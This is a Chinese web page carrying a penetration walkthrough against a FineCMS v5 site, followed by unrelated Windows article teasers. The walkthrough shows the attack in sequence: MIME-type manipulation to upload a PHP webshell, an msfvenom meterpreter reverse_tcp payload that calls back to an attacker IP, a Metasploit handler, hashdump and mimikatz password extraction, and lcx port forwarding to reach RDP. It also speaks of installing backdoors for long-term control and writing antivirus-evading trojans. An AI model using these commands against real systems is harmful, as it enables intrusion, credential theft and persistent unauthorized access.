1. 首页 > 文化教育 >

web渗透

yu66841 • • 文化教育 •
本次内网渗透的思路为：通过信息收集对网站进行分析，通过攻击外网服务器，从而获取外网服务器的权限，然后利用入侵成功的外网服务器作为跳板来攻击内网其他服务器，最后获得敏感数据，看情况安装后门木马或者后门软件，实现长期控制和获得敏感数据的方式。还有一种内网渗透的思路为：通过社工等方法攻击企业办公网的电脑、办公……

不同的操作系统可能存在版本漏洞、中间件漏洞、组件漏洞、端口服务漏洞等，在渗透测试的过程中可以通过信息收集来获取思路。

内网渗透思路

本次内网渗透的思路为：通过信息收集对网站进行分析，通过攻击外网服务器，从而获取外网服务器的权限，然后利用入侵成功的外网服务器作为跳板来攻击内网其他服务器，最后获得敏感数据（系统密码等），看情况安装后门木马或者后门软件，实现长期控制和获得敏感数据的方式。还有一种内网渗透的思路为：通过社工等方法攻击企业办公网的电脑、办公网无线等，实现控制办公电脑，再用获得的办公网数据。

200本渗透书籍私信“书籍”领取

渗透过程详解本次渗透过程将分为webshell—->getshell—->提权webshell访问某网站，该网站利用的是FineCMS v5系统建站，创建一个新的用户进行测试。

初步判断该网页模板为finecms v5建站系统，然后注册一个新的用户，方便我们利用finecms v5系统的文件上传漏洞

文件上传漏洞在会员头像处，所以先注册一个账号然后登录后上传我们的一句话木马

最开始的文件格式是0x0.png通过burp代理拦截将tx后面的image/png换成image/php即可

输入参数v=phpinfo();验证成功

验证上传成功后，打开菜刀软件输入上传的网站路径和参数（一句话木马的密码），可以连接服务器在菜刀软件上可以进行数据库的提权，如mof提权、udf提权、启动项提权等

编写免杀木马通过webshell连接目标服务器，但是访问的数据有限，仅仅是站点的系统账户权限，访问的系统路径也有限，于是我们可以编写免杀木马来进行反弹shell木马su.exe

Msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.10.130 lport=4444 -f exe >/root/Desktop/su.exe

利用刚刚连接菜刀的操作，在文件管理中上传我们需要的工具

进入meterpreter攻击模块，配置参数

use exploit/multi/handlerSet payload/windows/x64/meterpreter/reverse_tcpSet lport 4444Set lhost 192.168.10.130run

可以利用菜刀的虚拟终端模拟win2008服务器点击免杀木马的操作，让木马生效

run执行监听

获取密码过程

hashdumpload mimikatzkerberos

注：如果win2008的远程桌面操作是不允许连接到这台计算机，那么开启端口转发也是没用的

开启远程桌面

思路一：利用meterpreter模块执行远程连接然后开启端口转发，-l（本地端口）-p（远程控制端口）-r（目标主机）靶机3389端口转发发送到本地的5555端口

Rdesktop -u 用户名 -p 密码 127.0.0.1：5555 连接本地的5555端口开启远程桌面

利用windows开启远程桌面，需要利用lcx工具，现在shell模式下输入指令靶机执行lcx.exe -slave 192.168.10.20 5555 192.168.10.10 3389

思路二：利用lcx工具执行远程连接攻击机执行lcx.exe. -listen 5555 33891，接着打开mstsc连接127.0.0.1 ：33891

以下为连接成功和监听数据的发送

总结不同的操作系统可能存在版本漏洞、中间件漏洞、组件漏洞、端口服务漏洞等，在渗透测试的过程中可以通过信息收集来获取思路。

你可能想看：

EU268265908CS 求ems内网帮查一下 注意是内网 内网

15:31:00天津市东站邮件处理中心实际发运车次航班: * 1521操作员：高钢,。

如何把windows 7升级为windows 10？

电脑升级其实很容易的，并没有你想象中的那么复杂，方式也有很多种，有直接安装版的，还有ghost版本的，也就是镜像版本的，相对来说各有优势，下面我们来分别对两种方式进行指导：。下载window 10镜像...

办公要windows10好办公还是windows7好办公？

严格来说，肯定用新不用旧，尤其是win10支持linux bash模式，这样特别是对技术人员来说是福音，而且微软逐步淘汰win7的办公支持，从office2016开始已经不支持win7这样的老爷机，只...

windows自带的快捷键设置（windows中学会这些快捷键技术）

显示当前程序或者windows的帮助内容。如果该程序已在运行，则切换到该程序（win7）（主键盘区上的数字）（windowsxp不适用）使用箭头键循环切换任务栏上的程序（在win10此项是小界面切换输...

downie可以下载付费视频-苹果电脑如何下载downie-Downie 4 for Mac安装

Downie 4 for Mac激活版带给大家，Downie 4目前支持超过1,000个不同的网站，并且数量正在迅速增长，还支持YouTube上的高清视频，最高可达4K，同时还为主流网络浏览器提供了匹...

webshell是什么意思，如何避免网站被留下webshell后门？

webshell实际是以asp、php、jsp，ini、cgi等网页文件形式存在的一种代码执行环境，也可以将其称做为一种网页后门。通常有很多黑客都通过使用webshell来让其在入侵一个网站后留下这个...

可是she reads space news and business也可以改成Does she read space news or business news

你这样改就成了选择疑问句。就像别人问你，你是吃苹果还是吃梨，你不能回答：是的，我吃。这里你可以回答space news也可以回答business news或者回答，she reads BOTH spa...

Windows 10 1903版部分用户的Sandbox沙盒仍无法启动

IT之家6月29日消息 微软最近推出了2019 Windows 10更新五月版，也就是Windows 10 1903版本，具有Windows Sandbox、Light主题和其他一些新功能，但微软承认...

Android 平板在超越 iPad 之前，请先打败 Windows

几年前如果你想购买一台平板电脑，那么值得考虑的大概只有 iPad、iPad Air、iPad Pro，以及它们的前代产品。根据 Statcounter 的统计数据，苹果一直占据平板市场近 60% 的份...

windows伪静态rewrite未加载 显示向下的红箭头的原因及解决方法

加载rewrite模块后，不显示向上的绿箭头，而是向下的红箭头。根据个人的经验判断，这个多半都是目录权限的问题，一边设置一边查询资料。做了上述操作以后，一定要重启IIS。最后，如果还是还是红色的向下箭...

微软将在9月30号举行Windows 9发布会

据国外媒体报道，微软将于9月30日在旧金山举行Windows 9发布会。微软将在这天详细介绍Windows的下一个主要版本。微软的操作系统部门副总Joe Belfiore和Terry Myerson将...

微软2015年1月发布消费者预览版Windows 10

虽然微软将出席明年1月的消费电子产品展览会，但知情人士透露微软将在明年1月下旬召开单独的新闻发布会，具体展示消费者预览版的Windows10。之前微软承诺在2015年早期讨论Windows10消费者版...

该不该升级到Windows 10，升级win10是免费的吗？

这就让我费心了，到底该不该立即免费升级呢？美国《福布斯》杂志近日发表文章，围绕着Windows 10系统提出了三大疑问，并认为，在微软解答这些疑问之前，用户最好对这一系统敬而远之。

微软将于2019年8月停止支持移动版Windows 10

Windows 10 移动版自推出以来发展并不顺利，或许微软是想开了，据外媒报道微软宣布将于2019年8月1日停止支持移动版Windows 10系统，Windows 10 移动版是一款面向智能手机的操...

分享Windows7升级Win10的过程及使用初体验

收到升级win10 推送消息有段时间了，由于我对好奇心比较强爱折腾而且为了给大家写升级体验，所以毅然决定升级。直接打开控制面板选择系统和安全，然后选择Windows Update更新检测到win10大...

Windows 10系统瘦身方法和快捷键大全

微软Windows 10操作系统的占用空间并不大，但如果设备的存储空间本身就非常有限，那你可能还是会遇到空间不够的问题。那么我们应该如何为Windows 10瘦身呢？因此，卸载不再使用的应用程序可以有...

你的小米4刷了windows10没？没刷你就太幸运了

于是乎，小编成了一只单身狗，独自在校园里面徘徊，一直单身到如今。小米4的windows10刷机包终于来了，小编没有忍住，偷偷将办公室里面公用的米4刷成了windows。不过据后来使用过的同学反应，wi...

IOS，安卓，Windows和塞班，你最喜欢哪个？为什么？

从事软件开发多年，主要用C/C++，java三种编程语言开发，IOS，安卓，windows，塞班四个系统除了IOS没怎么玩过，其余三种系统都做过对应的开发，其中安卓系统玩的时间最长，研究过中间层的fr...

安装Windows系统是原版ISO好还是ghost好呢？

电脑系统是选择原版的ISO还是网络上面的什么番茄家园Ghost，深度技术Ghost，雨林风木Ghost。现在基本上所有的电脑城还是电脑售后都中意后者的Ghost系统，那么为什么呢？因为Ghost系统，...

为什么会有人觉得mac比windows流畅好用？

作为一个同时拥有Macbook和windows电脑的人，我来谈谈我的感受。首先，我觉得Mac比windows谁好用这个问题是仁者见仁智者见智的，不同的人肯定感受不一样。因为不同的人他的经历不一样（比如...

（来源：问答百科）
科技 软件 webshell 漏洞
免责声明：本文内容来源于第三方或整理自互联网，本站仅提供展示，不拥有所有权，不代表本站观点立场，也不构成任何其他建议，对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性不作任何保证或承诺，请读者仅作参考，并请自行核实相关内容,不承担相关法律责任。如发现本站文章、图片等内容有涉及版权/违法违规或其他不适合的内容， 请及时联系我们进行处理。
yu66841yu66841

相关推荐